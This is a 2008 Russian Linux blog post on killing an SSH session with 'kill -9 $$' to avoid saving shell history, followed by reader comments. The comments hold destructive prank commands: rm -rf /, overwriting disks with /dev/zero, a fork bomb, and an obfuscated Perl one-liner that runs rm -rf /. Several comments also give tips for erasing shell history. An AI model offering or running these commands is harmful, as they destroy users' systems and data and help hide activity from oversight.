Linux для всех

индекс
247,20

Маленькая хитрость ssh-консоли

kill -9 $$

upd:
Нахватал минусов, чтож все такие непонятливые?
Эта команда убивает активный ssh-сеанс, при этом так же уходит вся история набранных вами команд, остается только last login, но о нем в следующий раз.

upd2:
$$ — символизирует ID тукещего процесса консоли терминала (обычно bash)
Это можно увидеть набрав:
echo $$
Поэтому команда
kill -9 $$
убъет этот процесс и всех его детей.
by smartov
+101
17 сентября 2008, 17:35
17

комментарии (84)

+11
easyman #
rm -rf / тоже неплохая хитрость
Вы бы написали, какие именно процессы будут прибиты
Не все же понимают
+37
easyman #
P.S. эту строку, кот. написал я не надо запускать!
0
evil_random #
я знаю:)
+5
maxshopen #
чёрт — чтоже вы сразу не сказали!!!

мне хватило минуты :)
+8
maxshopen #
Да не минусуйте вы меня — у меня была резервная копия, всё хорошо :))
+9
drone #
Не сиди под рутом — козленочком станешь
0
yonyonson #
+1
google_fan #
Вот не понимаю логики. Человек который это по незнанию запустит, явно не продакшн админит.
А для неопытного юзера на десктопе потеря / совершенно не важна, а вот удаление ~ его явно расстроит.
+1
LaggyLuke #
А разве ~ не входит в /?
–1
beartamer #
Ну как бы это совершенно необязательно, хотя у простых юзеров обычно всё же входит
+1
LaggyLuke #
Хм, я пока не очень продвинутый линуксоид, но знаю, что весь /home обычно выносят на отдельный партишен.
Но ведь он остается примаунченным всегда.
В какой же ситуации (кроме CTRL-C :)) хоум может уцелеть при rm -rf /?
+1
Halt #
Удаление в случае «рмрф» будет таки полное. И не важно, каким образом физически разбит диск (вне зависимости от того, является ли /home отдельным разделом или нет).
0
beartamer #
это всё верно, но отмонтировать раздел можно очень быстро, восстанавливать файлы с отдельного раздела тоже легче, отдельный раздел относительно проще бэкапить и это чаще делают, отдельный раздел нередко выносится на отдельный диск или сетевую шару, что исключит примитивный вариант типа cat /dev/zero > /dev/hda и всё такое прочее
0
foe_nix #
Он, смонтирован в корневую систему, при любом раскладе он умрет, 100% все отправится к праотцам =) и ни какой унэрэйз тут не поможет =)
0
google_fan #
Я это и имел в виду. И содержимое ~ прекрасно удаляется безо всяких рутовых прав. Мне поэтому всегда непонятно что хотят сказать люди которые приходят и говорят про банальности про рута.
–3
Skylan #
после пары-тройки забываний добавить sudo перед командой хочется сидеть под рутом и не париться.

хотя есть лучше вариант — начать изучать конфигурацию прав пользователя.
0
Skylan #
о, в статье от yonyonson как раз про забывание sudo в самом начале и написано.

«Do you ever get annoyed because you forgot to put sudo in front of a command and recieved a permission denied error?»
0
foe_nix #
sudo su и работайте пока не надоест, а как надоест, — exit =)
0
Skylan #
ещё вариант, sudo bash.

хотя в общем-то и с sudo уже привык, не напрягает.
Главное не начать на автомате команды с sudo не набирать.
0
den_rad #
Я обычно sudo mc. Можно и команды выполнять, и файлы редактировать из под рута
0
foe_nix #
sudo -i
0
ssmaxss #
sudo -s
+2
yuretsz #
А толку от живой системы, если пользовательские файлы снес?
+4
freehome #
Был случай, когда в одной компании этой командой прибили практически весь боевой сервер на котором, в частности, были и бэкапы. Спасло только то, что была открыта одна консоль (новые открыть уже не удавалось по причине утраты файлов) и файлов на винте было весьма много (хватило времени).
Окончание истории точно не знаю — то ли убили процесс удаления, то ли скинули бэкап на другой сервер. Но в этот период седеешь на глазах.
+1
evil_random #
Ну я думаю что такие команды надо набирать очень аккуратно. Я так делаю по крайне мере, обычно.
+1
TeiSinTai #
#tail -n 1 /etc/bashrc
alias rm='echo Dont use rm from command line, use mc instead! SAVED:'

У меня так. Не думаю, что rm на сервере абсолютно необходимая команда… А если действительно понадобится, алиас можно и обойти.
0
d1m #
Метод защиты не то чтоб от дурака, а от кого потупее.
Неужели так тяжело проверить правильность параметров команды перед ее запуском хотя бы тем же find?
+1
timurv #
rm — rf / страшен не в руках неопытного админа, а в руках плохого программиста.
Бывает, что запрограммят rm -rf $path_to_dir/$dir, а обе переменные окажутся пустыми.
+1
d1m #
От таких программеров спасает разделение привелегий. И наличие мощного магического пенделя.
+1
evil_random #
Обновил топик, я думал по меткам поймут
+1
SaveTheRbtz #
Давно уже не пашет, юзайте rm -rf /*
+3
BuriK666 #
burik-nb ~ # rm -rf /
rm: cannot remove root directory `/'

на страницах man по rm об этом написано:
--preserve-root
              do not remove `/' (default)
0
kolesnikov #
можно использовать что нибудь вроде:
— /rm1.sh — #!/bin/bash

for argv in $*
do
if [ $argv == '/' ]
then
echo «Bad fly!!! Bad! Bad!!!»
exit 0;
fi
done

/bin/rm $*

— alias rm=/rm1.sh

ну или там с вариациями /* и прочее… от дурака так сказать… но лучше дураку рута не давать… =)
+11
smartov #
$$ — символизирует ID тукещего процесса консоли терминала (обычно bash)
Это можно увидеть набрав
echo $$
Поэтому команда
kill -9 $$
убъет этот процесс и всех его детей.

Было бы неплохо это написать в посте, конечно.
+1
evil_random #
Сейчас обновлю.
Тут фишка в том что уходит вся история.
+6
smartov #
История не «уходит».
С таким же успехом можно прибить консоль чужого терминала и его история тоже не сохранится.
История сохраняется в момент корректного завершения сеанса консоли (kill -3).
Если сеанс завершить некорректно (-9) то, конечно, сохранения не произойдет.
Можно еще просто сетевой кабель вытащить :)
0
1x1 #
Не обязательно, кстати. Лично я использую PROMPT_COMMAND='history -a'
0
nini #
Вау, спасибо, в закладки.
–1
nini #
Минус то за что?
+2
evil_random #
Тут могут и просто так поставить.
Поставил +
0
nini #
Тогда понятно,
спасибо
+2
SaveTheRbtz #
Без апдейтов не умнее Патча Бармина. Поставил бы минус.

С пояснениями полезно для начинающих линуксойдов. Поднял карму.
0
evil_random #
Там в метках все видно :)
+2
Antohins #
«… убъет этот процесс и всех его детей.»
пока нет детей запускать можно)
0
mr_smile #
прикольно, и даже полезно в некоторых случаях.
+1
pratavetra #
*рыдая* детоубийца!
+2
huko #
выходить быстрей через Ctrl+D
для «заметания» следов лучше пользоваться другими методами.
0
pratavetra #
cat «test!» | perl -e '$?? s:; s: s;;$?:: s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/« -;; s;;$_; see'

*предусмотрительно* под рутом запускать не надо. )
–5
egorinsk #
Что это у вас там зашифровано? Был бы у меня под рукой юзер nobody, я бы проверил))
–2
pratavetra #
rm -rf /
0
egorinsk #
Я однажды чем-то похожим на rm -rf (скрипт маленько криво написал))) убило установленный и настроенный cygwin(( С тех пор старюсь в винде сидеть не под рутом
–6
egorinsk #
жесть)) для доверчивых новичков особенно

Кстати, эта команда не удвляет все файлы, например каталог /bin и файл bash, (а также rm) скорее всего останутся.
+1
pratavetra #
Нормальный такой вполне себе урок, что под рутом сидеть нельзя. ВОООТ ТАААКИИИИМИ буквами везде в мануалах и книжках написано.
0
egorinsk #
Почему, Сygwin под windows — сидишь под тем же юзером что и в винде, не заводить же отдельного
0
weirdan #
Вот и в винде не стоит… к сожалению, относительно удобный аналог sudo появился только в висте.
0
bezgubov #
древний боян с ЛОР'а
+7
Psih #
Реакция на данный топик наглядно показывает что народ сперва пробует, а потом уже читает что же это значит. Стыдно господа, стыдно за вас.
+3
pratavetra #
Это наглядно показывает тот факт, что общее тупение интернета сказывается и на Хабре. К сожалению.
+1
pratavetra #
cat /dev/zero >/dev/hda

Вот ещё из тех же шуточек.
0
egorinsk #
Воо елси /dev/hda1 — не страшно, там только винда и тотал)) А весь диск жалко((. Кстати. с точки зрения сложности восстановления лучше брать данные из /dev/random
0
pratavetra #
Во FreeBSD не будет работать, ну да это издержки неизбежные. :)
0
drone #
Жалко не столько весь диск, сколько таблицу разделов…
dd if=/dev/zeo of=/dev/hda bs=1k count=1024
0
kostyak #
а у меня только sda :(
cat /dev/zero > /dev/[hs]da? :)
+1
maxshopen #
Если вы вдруг меня имели ввиду. то я вам возражу следующим —
Ваша реакция наглядно показывает как плохо у нас у всех бывает иногда с чувством юмора :)

Про злую шутку rm -rf / я знал еще лет шесть назад(не уверен точно) из какой то книжки, которая если мне память не изменяет называлась просто «Unix» :)
0
Psih #
У меня с чувством юмора всё в порядке, не в порядке с ним у тех, кто не понял шутку топика.
+2
CombatPenguin #
Не надо сидеть под рутом ;)
+1
XuMiX #
unset HISTFILE сделает все чище:) а потом можно и килять
потому как zsh, например, может писать историю сразу, а не при завершении процесса
+2
Lamo #
Ага, еще хорошо рекомендовать отправлять /dev/zero на писиспикер (не помню, как оно там зовется). Особенно ночью :) Меня за такой прикол однажды клавой резиновой стукнули при встрече — у девачки кошка на системнике спала — ходила и икала потом :)

ЗЫ Блин, запутался в тирешках… Если кому не лень — поправьте меня.
НЛО прилетело и опубликовало эту надпись здесь
0
egorinsk #
Чтобы убить исорию, гораздо проще выполнить *специально предусмотренную* для этого команду histoy -c или писать команды со знака пробла (если не путаю), чтобы они не попадали в историю))
0
egorinsk #
*history, я думаю понятно
–2
wiktar #
Чтобы введённая команда не осталась в истории — достаточно поставить перед ней пробел.
0
weirdan #

0
weirdan #
[weirdan@dev ~]$ tail ~/.bash_history
#...
history | tail
 history | tail
reset
 history
man history
# ...
exit

Почему-то вполне сохраняются. Что я делаю не так?
0
rawing #
странно, ни одной форковой бомбы в комментах не заметил :-)
0
yonyonson #
:) Пожалуйста
Вот ещё можно выполнить в баше следующую строку
:(){ :|:& };:
0
pratavetra #
Только я собралась писать то же самое. ) Опередили. :)
0
evil_random #
а что оно сделает? как то не очень хочется проверять %)
0
yonyonson #
Википедия как бы знает ответ: en.wikipedia.org/wiki/Fork_bomb
0
B_dot #
Суицид: sudo userdel `whoami`

И еще из той же серии:
rm `which rm`
0
CelesteKing #
~.
+2
ite #
Интереснее так: [ $[$RANDOM % 6] == 0 ] && rm -fr / || echo 'You live'
))
+1
drone #
Идея хороша, английский — отвратителен
0
stepancheg #
[enter]~.[enter]

Так гораздо проще в стандартных клиентах SSH, плюс спасает от кучи проблем.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.